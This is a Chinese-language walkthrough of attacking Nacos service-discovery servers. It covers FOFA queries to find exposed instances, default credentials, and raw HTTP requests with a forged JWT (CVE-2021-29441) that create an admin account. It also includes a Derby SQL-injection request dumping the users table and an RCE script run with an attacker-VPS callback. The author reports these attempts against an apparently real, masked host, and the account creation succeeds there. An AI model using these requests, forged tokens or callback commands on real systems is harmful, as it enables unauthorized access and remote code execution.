nacos实战测试思路
Nacos
介绍
Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源,一般在内网系统中比较常见
nacos部署需要开放以下端口:
- 主端口:默认8848,管理页面的主入口
- gRPC服务客户端端口:默认9848,用于客户端向服务端发起gRPC连接和请求
- gRPC服务服务端端口:默认9849,用于服务间的数据同步和其他服务端之间的通信
- Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等
特征
- fofa语法:
app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"
页面特征:

图标特征:

配置文件:
/nacos/v1/console/server/state

测试思路
用afrog扫出来了nacos认证绕过漏洞
https://github.com/zan8in/afrog

访问直接列举出了所用用户和密码哈希,说明不是误报

直接上工具
NacosExploitGUI
https://github.com/charonlight/NacosExploitGUI

在全部检测一遍,确实有未授权访问漏洞
弱口令漏洞
首先nacos可能存在弱口令漏洞,默认账户密码:
nacos
nacos
可以尝试登陆一手,如果密码被改了可以试试爆破
我这里是没有登上

未授权访问
通过固定的jwt或者User-Agent权限绕过(CVE-2021-29441)可以实现创建任意账户以及修改已知账户密码
创建账户

也可以自己发个数据包创建账户(注意要使用POST方法)
POST /nacos/v1/auth/users?username=admin&password=admin&pageNo=1&pageSize=1000&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g HTTP/1.1
Host: xxx.xxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

修改已知账户密码

然后就可以登陆后台了

但是后台没什么数据,也没什么功能点
Derby sql注入
直接用用工具梭,但是失败了,不清楚什么原因

手动测试一下
GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users HTTP/1.1
Host: xxx.xxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
直接访问报错了,应该是没有认证的原因

再把User-Agent加上
GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users HTTP/1.1
Host: xxx.xxxxx.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

看来确实是利用不了
Hessian 反序列化漏洞
漏洞针对默认7848端口的Jraft服务,由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞
影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口
同样使用工具即可写入内存马进行RCE

这里利用失败,应该是没有开启端口
临时文件 RCE
nacos有两个可以利用临时文件上传的路由
/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
工具上没有这个利用方式,需要自己其github下载利用脚本
https://github.com/WingBy-Fkalis/Nacos_Rce
首先再vps上启动server.py用于接收返回结果
python server.py

然后本地运行攻击脚本
Nacos_Rce.py -t [vps的IP] -p 8888 -u http://xxx.xxx.xxx.xxx:8848 -c whoami

看返回结果应该是禁用了该功能
注意:这里如果运行攻击脚本报错,和之前sql注入报错原因一样,是因为nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可

Yaml反序列化漏洞
在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端
由于利用条件比较苛刻(该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端)
这里由于环境太苛刻就没有测了

浙公网安备 33010602011771号